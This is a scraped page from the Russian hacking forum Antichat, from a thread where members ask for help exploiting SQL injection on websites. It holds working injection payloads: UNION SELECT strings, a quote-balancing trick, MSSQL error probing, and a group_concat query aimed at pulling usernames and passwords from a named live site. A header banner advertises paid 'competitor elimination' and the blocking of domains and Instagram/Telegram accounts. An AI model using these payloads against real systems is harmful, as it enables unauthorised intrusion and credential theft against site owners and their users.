Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1081 из 2438

1081

Опции темы

Поиск в этой теме

Опции просмотра

#10801

16.12.2009, 16:29

[Forest]

Новичок

Регистрация: 07.11.2009

Сообщений: 23

С нами: 8688843

Репутация: 10

Можно ли провести здесь скулю?

PHP код:


		
			
$res=mysql_query("update peolpe set name='".$_POST."' where id='".$_POST."'");

Переменные name и id не фильтруются...

#10802

16.12.2009, 16:32

Pashkela

Динозавр

Регистрация: 10.01.2008

Сообщений: 2,841

С нами: 9649706

Репутация: 3338

https://forum.antichat.ru/thread35207.html

#10803

16.12.2009, 19:34

YuNi|[c

Участник форума

Регистрация: 17.09.2006

Сообщений: 248

С нами: 10340793

Репутация: 66

Цитата:

http://localhost/script.asp?id=1%2Border%2Bby%2B100#

PHP код:


		
			
Microsoft OLE DB Provider for SQL Server error '80040e14'     

Incorrect syntax near the keyword 'order'.

Цитата:

http://localhost/?page=%2Fmediascan%2Fnews%2Easp

PHP код:


		
			
Microsoft OLE DB Provider for SQL Server error '80040e10'     

Procedure or function 'USP_GetMoreOverNewsByIDStory' expects parameter '@id_stories', which was not supplied.

есть ли тут скул или просто ошибка, вроде на order by ругается и на все что после asp?id=1

#10804

16.12.2009, 20:41

YuNi|[c

Участник форума

Регистрация: 17.09.2006

Сообщений: 248

С нами: 10340793

Репутация: 66

Цитата:

Сообщение от Strilo4ka

YuNi|[c
https://forum.antichat.ru/thread50550-OLE.html

спс за ответ но тут не access а mssql если не ошибаюсь.
Видимо тут просто ошибкабд и скулей врядли.
все равно спс

#10805

17.12.2009, 04:38

YuNi|[c

Участник форума

Регистрация: 17.09.2006

Сообщений: 248

С нами: 10340793

Репутация: 66

Цитата:

http://localhost/s.html?action='%20union%20select%201,2,3333%20from %20BJWSAPages%00

прошу помочь никак не могу удалит одинарную кавычку. Если убрат идет ошибка

#10806

17.12.2009, 04:42

Spyder

Members of Antichat - Level 5

Регистрация: 09.10.2006

Сообщений: 1,698

С нами: 10309346

Репутация: 4303

1' union select 1,2,3 from table where '1'='1

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands

#10807

17.12.2009, 07:23

YuNi|[c

Участник форума

Регистрация: 17.09.2006

Сообщений: 248

С нами: 10340793

Репутация: 66

Цитата:

Сообщение от Spyder

1' union select 1,2,3 from table where '1'='1

помогло спс тока без кавычег 1=1
Теперь брутит до брутит наверное или можно сначала имя дб вывести?

#10808

17.12.2009, 20:36

mff

Познавший АНТИЧАТ

Регистрация: 12.03.2008

Сообщений: 1,379

С нами: 9560486

Репутация: 1809

Добрый вечер!
Подскажите пожалуйста, как сделать дамп базы данных MySQL имея логин и пароль от базы, а так же имя сайта.

Дело в том, что domain: SITE.RU и nserver: ns1.site.ru один и тот же. Я так понял, что у них теперь свой сервер? Раньше они хостились на masterhost.ru, там был путь: https://phpmyadmin.masterhost.ru и я делал дамп, но теперь пишет:

Цитата:

phpMyAdmin - Ошибка
#2005 - Unknown MySQL server host 'admin.mysql.masterhost.ru' (1)

Что же делать? Как сделать дамп?

#10809

17.12.2009, 21:46

LokbatanLi

Участник форума

Регистрация: 24.08.2009

Сообщений: 172

С нами: 8797559

Репутация: -16

Цитата:

http://www.section404.org/news.php?id=-1%20union%20select%201,2,3,group_concat(id,0x3a,na me,0x3a,password),5,6+from+users--

за4ем так полу4ается ??

не показовает//

#10810

17.12.2009, 22:07

mailbrush

Познавший АНТИЧАТ

Регистрация: 24.06.2008

Сообщений: 1,996

С нами: 9410786

Репутация: 2731

Цитата:

Сообщение от LokbatanLi

за4ем так полу4ается ??

не показовает//

Потому что таблички users не существует...

PS: Раздражают такие люди, которые любят "п0нт@нутьSя"...

Последний раз редактировалось mailbrush; 17.12.2009 в 22:09..

Страница 1081 из 2438

1081

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 6 (пользователей: 0 , гостей: 6)

Быстрый переход